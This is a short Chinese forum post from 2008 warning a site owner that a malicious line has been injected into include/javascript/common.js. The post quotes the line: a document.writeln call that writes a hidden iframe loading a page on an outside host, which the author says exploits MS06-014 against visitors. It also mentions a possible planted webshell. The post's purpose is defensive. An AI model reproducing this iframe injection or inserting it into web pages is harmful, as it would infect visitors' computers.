网站有木马

lyzzzz

被挂马了
请检查include/javascript/common.js

挂马的语句是

1. document.writeln('<iframe src="http://www.ahahaz.cn/dfll/a14.htm" width=50 height=0></iframe>');

复制代码

原理是通过iframe直接加载马，至于那个马，利用的是MS06014漏洞来黑用户的电脑
去掉这句话，用户也就安全了，弹框也不会有了
不过不排除黑客在空间里挂了webshell，在这种情况下要重新加这句话是很简单的

[ 本帖最后由 lyzzzz 于 2008-12-4 17:15 编辑 ]